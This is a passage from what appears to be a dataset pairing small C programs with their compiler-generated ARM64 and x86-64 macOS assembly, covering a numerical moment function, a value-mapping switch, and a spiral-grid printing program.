@eval_AtA_times_u.v .subsections_via_symbols
the_stack_data/117328363.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function kermom lCPI0_0: .quad 0x3fe3333333333333 ; double 0.59999999999999998 lCPI0_1: .quad 0x3fd999999999999a ; double 0.40000000000000002 lCPI0_2: .quad 0x4048000000000000 ; double 48 .section __TEXT,__text,regular,pure_instructions .globl _kermom .p2align 2 _kermom: ; @kermom .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _x@GOTPAGE ldr x8, [x8, _x@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur x0, [x29, #-8] stur d0, [x29, #-16] stur w1, [x29, #-20] ldur d0, [x29, #-16] ldr d1, [x8] fcmp d0, d1 cset w8, lt tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ; 8-byte Folded Reload ldur d0, [x29, #-16] ldr d1, [x8] fsub d0, d0, d1 stur d0, [x29, #-32] ldur d0, [x29, #-32] fsqrt d1, d0 fmov d0, #2.00000000 fmul d0, d0, d1 ldur d1, [x29, #-32] fmul d0, d0, d1 stur d0, [x29, #-40] ldur d0, [x29, #-40] fmov d3, #3.00000000 fdiv d0, d0, d3 ldur x9, [x29, #-8] str d0, [x9, #8] ldur d0, [x29, #-40] ldr d1, [x8] fdiv d1, d1, d3 ldur d2, [x29, #-32] fmov d4, #5.00000000 fdiv d2, d2, d4 fadd d1, d1, d2 fmul d0, d0, d1 ldur x9, [x29, #-8] str d0, [x9, #16] ldur d0, [x29, #-40] ldr d1, [x8] fdiv d4, d1, d3 ldur d2, [x29, #-32] adrp x9, lCPI0_1@PAGE ldr d1, [x9, lCPI0_1@PAGEOFF] fmadd d1, d1, d2, d4 ldr d2, [x8] ldur d4, [x29, #-32] ldur d5, [x29, #-32] fmul d5, d4, d5 fmov d4, #7.00000000 fdiv d5, d5, d4 fmadd d1, d1, d2, d5 fmul d0, d0, d1 ldur x9, [x29, #-8] str d0, [x9, #24] ldur d0, [x29, #-40] ldr d1, [x8] fdiv d5, d1, d3 ldur d2, [x29, #-32] adrp x9, lCPI0_0@PAGE ldr d1, [x9, lCPI0_0@PAGEOFF] fmadd d1, d1, d2, d5 ldr d2, [x8] ldur d5, [x29, #-32] fmul d3, d3, d5 ldur d5, [x29, #-32] fmul d3, d3, d5 fdiv d3, d3, d4 fmadd d1, d1, d2, d3 ldr d2, [x8] ldur d3, [x29, #-32] ldur d4, [x29, #-32] fmul d3, d3, d4 ldur d4, [x29, #-32] fmul d3, d3, d4 fmov d4, #9.00000000 fdiv d3, d3, d4 fmadd d1, d1, d2, d3 fmul d0, d0, d1 ldur x8, [x29, #-8] str d0, [x8, #32] b LBB0_3 LBB0_2: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr d0, [x8] ldr d1, [x8] fmul d0, d0, d1 str d0, [sp, #40] ldr d1, [x8] fmul d0, d0, d1 str d0, [sp, #32] ldr d0, [sp, #40] ldr d1, [sp, #40] fmul d0, d0, d1 str d0, [sp, #24] ldur d0, [x29, #-16] ldur d1, [x29, #-16] fmul d0, d0, d1 str d0, [sp, #16] ldr d0, [x8] ldur d1, [x29, #-16] fsub d0, d0, d1 stur d0, [x29, #-32] ldur d0, [x29, #-32] str d0, [sp] ; 8-byte Folded Spill ldur d0, [x29, #-32] bl _log ldr x8, [sp, #8] ; 8-byte Folded Reload fmov d1, d0 ldr d0, [sp] ; 8-byte Folded Reload str d1, [sp, #48] fmov d2, #1.00000000 fsub d1, d1, d2 fmul d0, d0, d1 ldur x9, [x29, #-8] str d0, [x9, #8] ldr d0, [x8] ldur d1, [x29, #-16] fmov d7, #3.00000000 fmadd d2, d7, d0, d1 ldr d0, [sp, #48] fmov d5, #2.00000000 fmul d0, d5, d0 ldr d1, [x8] ldur d3, [x29, #-16] fadd d1, d1, d3 fmsub d1, d0, d1, d2 fmov d0, #-0.25000000 fmul d0, d0, d1 ldur d1, [x29, #-32] fmul d0, d0, d1 ldur x9, [x29, #-8] str d0, [x9, #16] ldr d1, [sp, #32] ldur d0, [x29, #-16] ldr d2, [sp, #40] ldur d3, [x29, #-16] ldr d4, [x8] ldur d6, [x29, #-16] fmul d5, d5, d6 fmadd d4, d7, d4, d5 fmul d3, d3, d4 fmov d4, #6.00000000 fmadd d2, d4, d2, d3 fmul d2, d0, d2 fmov d0, #-11.00000000 fmadd d2, d0, d1, d2 ldr d0, [sp, #48] fmul d0, d4, d0 ldr d5, [sp, #32] ldur d1, [x29, #-16] ldr d3, [sp, #16] fmsub d1, d1, d3, d5 fmadd d0, d0, d1, d2 fmov d1, #18.00000000 fdiv d0, d0, d1 ldur x9, [x29, #-8] str d0, [x9, #24] ldr d2, [sp, #24] ldur d1, [x29, #-16] ldr d3, [sp, #32] ldur d0, [x29, #-16] ldr d5, [sp, #40] ldur d6, [x29, #-16] ldr d16, [x8] ldur d17, [x29, #-16] fmul d17, d7, d17 fmov d7, #4.00000000 fmadd d7, d7, d16, d17 fmul d6, d6, d7 fmadd d4, d4, d5, d6 fmul d4, d0, d4 fmov d0, #12.00000000 fmadd d3, d0, d3, d4 fmul d3, d1, d3 fmov d1, #-25.00000000 fmadd d2, d1, d2, d3 ldr d1, [sp, #48] fmul d0, d0, d1 ldr d4, [sp, #24] ldr d1, [sp, #16] ldr d3, [sp, #16] fmsub d1, d1, d3, d4 fmadd d0, d0, d1, d2 adrp x8, lCPI0_2@PAGE ldr d1, [x8, lCPI0_2@PAGEOFF] fdiv d0, d0, d1 ldur x8, [x29, #-8] str d0, [x8, #32] b LBB0_3 LBB0_3: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function kermom LCPI0_0: .quad 0x4048000000000000 ## double 48 LCPI0_1: .quad 0x4028000000000000 ## double 12 LCPI0_2: .quad 0xc039000000000000 ## double -25 LCPI0_3: .quad 0x4018000000000000 ## double 6 LCPI0_4: .quad 0x4010000000000000 ## double 4 LCPI0_5: .quad 0x4008000000000000 ## double 3 LCPI0_6: .quad 0x4032000000000000 ## double 18 LCPI0_7: .quad 0xc026000000000000 ## double -11 LCPI0_8: .quad 0x4000000000000000 ## double 2 LCPI0_9: .quad 0xbfd0000000000000 ## double -0.25 LCPI0_10: .quad 0x3ff0000000000000 ## double 1 LCPI0_11: .quad 0x4022000000000000 ## double 9 LCPI0_12: .quad 0x401c000000000000 ## double 7 LCPI0_13: .quad 0x3fe3333333333333 ## double 0.59999999999999998 LCPI0_14: .quad 0x3fd999999999999a ## double 0.40000000000000002 LCPI0_15: .quad 0x4014000000000000 ## double 5 .section __TEXT,__text,regular,pure_instructions .globl _kermom .p2align 4, 0x90 _kermom: ## @kermom .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq %rdi, -8(%rbp) movsd %xmm0, -16(%rbp) movl %esi, -20(%rbp) movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax ucomisd (%rax), %xmm0 jb LBB0_2 ## %bb.1: movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax subsd (%rax), %xmm0 movsd %xmm0, -32(%rbp) movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero sqrtsd %xmm0, %xmm1 movsd LCPI0_8(%rip), %xmm0 ## xmm0 = mem[0],zero mulsd %xmm1, %xmm0 mulsd -32(%rbp), %xmm0 movsd %xmm0, -40(%rbp) movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd LCPI0_5(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 8(%rax) movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm1 ## xmm1 = mem[0],zero movsd LCPI0_5(%rip), %xmm2 ## xmm2 = mem[0],zero divsd %xmm2, %xmm1 movsd -32(%rbp), %xmm2 ## xmm2 = mem[0],zero movsd LCPI0_15(%rip), %xmm3 ## xmm3 = mem[0],zero divsd %xmm3, %xmm2 addsd %xmm2, %xmm1 mulsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 16(%rax) movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm2 ## xmm2 = mem[0],zero movsd LCPI0_5(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm2 movsd -32(%rbp), %xmm1 ## xmm1 = mem[0],zero movsd LCPI0_14(%rip), %xmm3 ## xmm3 = mem[0],zero mulsd %xmm3, %xmm1 addsd %xmm2, %xmm1 movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm3 ## xmm3 = mem[0],zero movsd -32(%rbp), %xmm2 ## xmm2 = mem[0],zero mulsd -32(%rbp), %xmm2 movsd LCPI0_12(%rip), %xmm4 ## xmm4 = mem[0],zero divsd %xmm4, %xmm2 mulsd %xmm3, %xmm1 addsd %xmm2, %xmm1 mulsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 24(%rax) movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm2 ## xmm2 = mem[0],zero movsd LCPI0_5(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm2 movsd -32(%rbp), %xmm1 ## xmm1 = mem[0],zero movsd LCPI0_13(%rip), %xmm3 ## xmm3 = mem[0],zero mulsd %xmm3, %xmm1 addsd %xmm2, %xmm1 movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm3 ## xmm3 = mem[0],zero movsd LCPI0_5(%rip), %xmm2 ## xmm2 = mem[0],zero mulsd -32(%rbp), %xmm2 mulsd -32(%rbp), %xmm2 movsd LCPI0_12(%rip), %xmm4 ## xmm4 = mem[0],zero divsd %xmm4, %xmm2 mulsd %xmm3, %xmm1 addsd %xmm2, %xmm1 movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm3 ## xmm3 = mem[0],zero movsd -32(%rbp), %xmm2 ## xmm2 = mem[0],zero mulsd -32(%rbp), %xmm2 mulsd -32(%rbp), %xmm2 movsd LCPI0_11(%rip), %xmm4 ## xmm4 = mem[0],zero divsd %xmm4, %xmm2 mulsd %xmm3, %xmm1 addsd %xmm2, %xmm1 mulsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 32(%rax) jmp LBB0_3 LBB0_2: movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm0 ## xmm0 = mem[0],zero movq _x@GOTPCREL(%rip), %rax mulsd (%rax), %xmm0 movsd %xmm0, -56(%rbp) movq _x@GOTPCREL(%rip), %rax mulsd (%rax), %xmm0 movsd %xmm0, -64(%rbp) movsd -56(%rbp), %xmm0 ## xmm0 = mem[0],zero mulsd -56(%rbp), %xmm0 movsd %xmm0, -72(%rbp) movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero mulsd -16(%rbp), %xmm0 movsd %xmm0, -80(%rbp) movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm0 ## xmm0 = mem[0],zero subsd -16(%rbp), %xmm0 movsd %xmm0, -32(%rbp) movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -88(%rbp) ## 8-byte Spill movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero callq _log movaps %xmm0, %xmm1 movsd -88(%rbp), %xmm0 ## 8-byte Reload ## xmm0 = mem[0],zero movsd %xmm1, -48(%rbp) movsd LCPI0_10(%rip), %xmm2 ## xmm2 = mem[0],zero subsd %xmm2, %xmm1 mulsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 8(%rax) movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm0 ## xmm0 = mem[0],zero movsd -16(%rbp), %xmm1 ## xmm1 = mem[0],zero movsd LCPI0_5(%rip), %xmm2 ## xmm2 = mem[0],zero mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd LCPI0_8(%rip), %xmm1 ## xmm1 = mem[0],zero mulsd -48(%rbp), %xmm1 movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm2 ## xmm2 = mem[0],zero addsd -16(%rbp), %xmm2 movq %xmm1, %rax movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000 xorq %rcx, %rax movq %rax, %xmm1 mulsd %xmm2, %xmm1 addsd %xmm0, %xmm1 movsd LCPI0_9(%rip), %xmm0 ## xmm0 = mem[0],zero mulsd %xmm1, %xmm0 mulsd -32(%rbp), %xmm0 movq -8(%rbp), %rax movsd %xmm0, 16(%rax) movsd -64(%rbp), %xmm1 ## xmm1 = mem[0],zero movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd -56(%rbp), %xmm2 ## xmm2 = mem[0],zero movsd -16(%rbp), %xmm3 ## xmm3 = mem[0],zero movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm4 ## xmm4 = mem[0],zero movsd LCPI0_8(%rip), %xmm5 ## xmm5 = mem[0],zero mulsd -16(%rbp), %xmm5 movsd LCPI0_5(%rip), %xmm6 ## xmm6 = mem[0],zero mulsd %xmm6, %xmm4 addsd %xmm5, %xmm4 mulsd %xmm4, %xmm3 movsd LCPI0_3(%rip), %xmm4 ## xmm4 = mem[0],zero mulsd %xmm4, %xmm2 addsd %xmm3, %xmm2 mulsd %xmm2, %xmm0 movsd LCPI0_7(%rip), %xmm2 ## xmm2 = mem[0],zero mulsd %xmm2, %xmm1 addsd %xmm0, %xmm1 movsd LCPI0_3(%rip), %xmm0 ## xmm0 = mem[0],zero mulsd -48(%rbp), %xmm0 movsd -64(%rbp), %xmm3 ## xmm3 = mem[0],zero movsd -16(%rbp), %xmm2 ## xmm2 = mem[0],zero movsd -80(%rbp), %xmm4 ## xmm4 = mem[0],zero movq %xmm2, %rax movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000 xorq %rcx, %rax movq %rax, %xmm2 mulsd %xmm4, %xmm2 addsd %xmm3, %xmm2 mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd LCPI0_6(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 24(%rax) movsd -72(%rbp), %xmm1 ## xmm1 = mem[0],zero movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero movsd -64(%rbp), %xmm2 ## xmm2 = mem[0],zero movsd -16(%rbp), %xmm3 ## xmm3 = mem[0],zero movsd -56(%rbp), %xmm4 ## xmm4 = mem[0],zero movsd -16(%rbp), %xmm5 ## xmm5 = mem[0],zero movq _x@GOTPCREL(%rip), %rax movsd (%rax), %xmm6 ## xmm6 = mem[0],zero movsd LCPI0_5(%rip), %xmm7 ## xmm7 = mem[0],zero mulsd -16(%rbp), %xmm7 movsd LCPI0_4(%rip), %xmm8 ## xmm8 = mem[0],zero mulsd %xmm8, %xmm6 addsd %xmm7, %xmm6 mulsd %xmm6, %xmm5 movsd LCPI0_3(%rip), %xmm6 ## xmm6 = mem[0],zero mulsd %xmm6, %xmm4 addsd %xmm5, %xmm4 mulsd %xmm4, %xmm3 movsd LCPI0_1(%rip), %xmm4 ## xmm4 = mem[0],zero mulsd %xmm4, %xmm2 addsd %xmm3, %xmm2 mulsd %xmm2, %xmm0 movsd LCPI0_2(%rip), %xmm2 ## xmm2 = mem[0],zero mulsd %xmm2, %xmm1 addsd %xmm0, %xmm1 movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero mulsd -48(%rbp), %xmm0 movsd -72(%rbp), %xmm3 ## xmm3 = mem[0],zero movsd -80(%rbp), %xmm2 ## xmm2 = mem[0],zero movsd -80(%rbp), %xmm4 ## xmm4 = mem[0],zero movq %xmm2, %rax movabsq $-9223372036854775808, %rcx ## imm = 0x8000000000000000 xorq %rcx, %rax movq %rax, %xmm2 mulsd %xmm4, %xmm2 addsd %xmm3, %xmm2 mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero divsd %xmm1, %xmm0 movq -8(%rbp), %rax movsd %xmm0, 32(%rax) LBB0_3: addq $96, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/26701610.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _outsource ; -- Begin function outsource .p2align 2 _outsource: ; @outsource .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str x1, [sp, #16] ldr x8, [sp, #24] ldr w8, [x8] str w8, [sp, #12] ; 4-byte Folded Spill subs w8, w8, #1 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_1 LBB0_1: ldr w8, [sp, #12] ; 4-byte Folded Reload subs w8, w8, #4 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ldr w8, [sp, #12] ; 4-byte Folded Reload subs w8, w8, #9 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_6 LBB0_3: ldr x9, [sp, #16] mov w8, #111 str w8, [x9] b LBB0_7 LBB0_4: ldr x9, [sp, #16] mov w8, #444 str w8, [x9] b LBB0_7 LBB0_5: ldr x9, [sp, #16] mov w8, #990 str w8, [x9] b LBB0_7 LBB0_6: ldr x8, [sp, #24] ldr w8, [x8] ldr x9, [sp, #16] str w8, [x9] b LBB0_7 LBB0_7: add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _outsource ## -- Begin function outsource .p2align 4, 0x90 _outsource: ## @outsource .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movl (%rax), %eax movl %eax, -20(%rbp) ## 4-byte Spill subl $1, %eax je LBB0_1 jmp LBB0_6 LBB0_6: movl -20(%rbp), %eax ## 4-byte Reload subl $4, %eax je LBB0_2 jmp LBB0_7 LBB0_7: movl -20(%rbp), %eax ## 4-byte Reload subl $9, %eax je LBB0_3 jmp LBB0_4 LBB0_1: movq -16(%rbp), %rax movl $111, (%rax) jmp LBB0_5 LBB0_2: movq -16(%rbp), %rax movl $444, (%rax) ## imm = 0x1BC jmp LBB0_5 LBB0_3: movq -16(%rbp), %rax movl $990, (%rax) ## imm = 0x3DE jmp LBB0_5 LBB0_4: movq -8(%rbp), %rax movl (%rax), %ecx movq -16(%rbp), %rax movl %ecx, (%rax) LBB0_5: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/433555.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur wzr, [x29, #-60] str w0, [sp, #64] str x1, [sp, #56] ldr w8, [sp, #64] subs w8, w8, #3 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: stur wzr, [x29, #-60] b LBB0_27 LBB0_2: ldr x8, [sp, #56] ldr x0, [x8, #8] bl _atoi str w0, [sp, #52] ldr x8, [sp, #56] ldr x0, [x8, #16] bl _atoi str w0, [sp, #48] ldr w8, [sp, #52] ldr w9, [sp, #48] mul w8, w8, w9 mov w9, #100 mul w8, w8, w9 scvtf d0, w8 bl _log10 fcvtzs w8, d0 str w8, [sp, #44] ldr w8, [sp, #52] ldr w9, [sp, #48] mul w9, w8, w9 ; implicit-def: $x8 mov x8, x9 sxtw x8, w8 lsl x0, x8, #2 bl _malloc str x0, [sp, #32] mov w8, #1 str w8, [sp, #28] str w8, [sp, #24] stur wzr, [x29, #-56] stur wzr, [x29, #-52] stur wzr, [x29, #-48] stur wzr, [x29, #-44] stur wzr, [x29, #-40] stur wzr, [x29, #-36] ldr w8, [sp, #52] ldr w9, [sp, #28] subs w8, w8, w9 stur w8, [x29, #-32] ldr w8, [sp, #48] ldr w9, [sp, #24] subs w8, w8, w9 stur w8, [x29, #-28] mov w8, #7 stur w8, [x29, #-24] mov w8, #4 stur w8, [x29, #-20] mov w8, #5 stur w8, [x29, #-16] mov w8, #6 stur w8, [x29, #-12] b LBB0_3 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-56] ldur w9, [x29, #-40] subs w8, w8, w9 cset w8, lt mov w9, #0 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB0_7 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-32] ldur w9, [x29, #-56] subs w8, w8, w9 cset w8, lt mov w9, #0 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB0_7 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-52] ldur w9, [x29, #-36] subs w8, w8, w9 cset w8, lt mov w9, #0 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-28] ldur w9, [x29, #-52] subs w8, w8, w9 cset w8, ge str w8, [sp, #20] ; 4-byte Folded Spill b LBB0_7 LBB0_7: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [sp, #20] ; 4-byte Folded Reload tbz w8, #0, LBB0_15 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_3 Depth=1 ldr w9, [sp, #24] add w8, w9, #1 str w8, [sp, #24] ldr x10, [sp, #32] sub x8, x29, #56 ldur w11, [x29, #-52] stur w11, [x29, #-44] ldr w12, [sp, #52] mul w11, w11, w12 ldur w12, [x29, #-56] stur w12, [x29, #-48] add w11, w11, w12 str w9, [x10, w11, sxtw #2] ldr w9, [sp, #28] ldr w10, [sp, #28] eor w9, w9, w10, asr #1 and w9, w9, #0x1 lsl w9, w9, #1 subs w10, w9, #1 ldr w9, [sp, #28] mvn w9, w9 and w9, w9, #0x1 add w9, w9, #2 add x9, x8, w9, sxtw #2 ldr w8, [x9] add w8, w8, w10 str w8, [x9] ldur w8, [x29, #-48] ldur w9, [x29, #-40] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_13 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-32] ldur w9, [x29, #-48] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_13 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-44] ldur w9, [x29, #-36] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_13 b LBB0_11 LBB0_11: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-28] ldur w9, [x29, #-44] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_13 b LBB0_12 LBB0_12: ; in Loop: Header=BB0_3 Depth=1 ldur w8, [x29, #-48] stur w8, [x29, #-56] ldur w8, [x29, #-44] stur w8, [x29, #-52] b LBB0_14 LBB0_13: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [sp, #28] add w8, w8, #1 and w8, w8, #0x3 str w8, [sp, #28] ldr w8, [sp, #28] ldr w9, [sp, #28] eor w8, w8, w9, asr #1 and w8, w8, #0x1 lsl w8, w8, #1 subs w11, w8, #1 ldr w8, [sp, #28] add w9, w8, #8 sub x8, x29, #56 ldrsw x10, [x8, w9, sxtw #2] mov x9, x8 add x10, x9, x10, lsl #2 ldr w9, [x10] add w9, w9, w11 str w9, [x10] ldr w9, [sp, #28] ldr w10, [sp, #28] eor w9, w9, w10, asr #1 and w9, w9, #0x1 lsl w9, w9, #1 subs w10, w9, #1 ldr w9, [sp, #28] add w9, w9, #8 ldr w9, [x8, w9, sxtw #2] and w9, w9, #0x1 add x9, x8, w9, sxtw #2 ldr w8, [x9] add w8, w8, w10 str w8, [x9] b LBB0_14 LBB0_14: ; in Loop: Header=BB0_3 Depth=1 b LBB0_3 LBB0_15: str wzr, [sp, #24] b LBB0_16 LBB0_16: ; =>This Loop Header: Depth=1 ; Child Loop BB0_18 Depth 2 ldr w8, [sp, #24] ldr w9, [sp, #48] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_26 b LBB0_17 LBB0_17: ; in Loop: Header=BB0_16 Depth=1 str wzr, [sp, #28] b LBB0_18 LBB0_18: ; Parent Loop BB0_16 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #28] ldr w9, [sp, #52] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_24 b LBB0_19 LBB0_19: ; in Loop: Header=BB0_18 Depth=2 ldr w8, [sp, #44] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #32] ldr w9, [sp, #24] ldr w11, [sp, #52] mul w9, w9, w11 ldr w11, [sp, #28] add w9, w9, w11 ldr w9, [x8, w9, sxtw #2] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_22 b LBB0_20 LBB0_20: ; in Loop: Header=BB0_18 Depth=2 ldr w8, [sp, #52] ldr w9, [sp, #28] subs w8, w8, w9 subs w8, w8, #1 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_22 b LBB0_21 LBB0_21: ; in Loop: Header=BB0_18 Depth=2 adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_22 LBB0_22: ; in Loop: Header=BB0_18 Depth=2 b LBB0_23 LBB0_23: ; in Loop: Header=BB0_18 Depth=2 ldr w8, [sp, #28] add w8, w8, #1 str w8, [sp, #28] b LBB0_18 LBB0_24: ; in Loop: Header=BB0_16 Depth=1 b LBB0_25 LBB0_25: ; in Loop: Header=BB0_16 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_16 LBB0_26: stur wzr, [x29, #-60] b LBB0_27 LBB0_27: ldur w8, [x29, #-60] str w8, [sp, #16] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_29 b LBB0_28 LBB0_28: bl ___stack_chk_fail LBB0_29: ldr w0, [sp, #16] ; 4-byte Folded Reload ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%*d" l_.str.1: ; @.str.1 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -68(%rbp) movl %edi, -72(%rbp) movq %rsi, -80(%rbp) cmpl $3, -72(%rbp) jge LBB0_2 ## %bb.1: movl $0, -68(%rbp) jmp LBB0_27 LBB0_2: movq -80(%rbp), %rax movq 8(%rax), %rdi callq _atoi movl %eax, -84(%rbp) movq -80(%rbp), %rax movq 16(%rax), %rdi callq _atoi movl %eax, -88(%rbp) movl -84(%rbp), %eax imull -88(%rbp), %eax imull $100, %eax, %eax cvtsi2sd %eax, %xmm0 callq _log10 cvttsd2si %xmm0, %eax movl %eax, -92(%rbp) movl -84(%rbp), %eax imull -88(%rbp), %eax movslq %eax, %rdi shlq $2, %rdi callq _malloc movq %rax, -104(%rbp) movl $1, -108(%rbp) movl $1, -112(%rbp) movl $0, -64(%rbp) movl $0, -60(%rbp) movl $0, -56(%rbp) movl $0, -52(%rbp) movl $0, -48(%rbp) movl $0, -44(%rbp) movl -84(%rbp), %eax subl -108(%rbp), %eax movl %eax, -40(%rbp) movl -88(%rbp), %eax subl -112(%rbp), %eax movl %eax, -36(%rbp) movl $7, -32(%rbp) movl $4, -28(%rbp) movl $5, -24(%rbp) movl $6, -20(%rbp) LBB0_3: ## =>This Inner Loop Header: Depth=1 movl -64(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl -48(%rbp), %ecx movb %al, -113(%rbp) ## 1-byte Spill jl LBB0_7 ## %bb.4: ## in Loop: 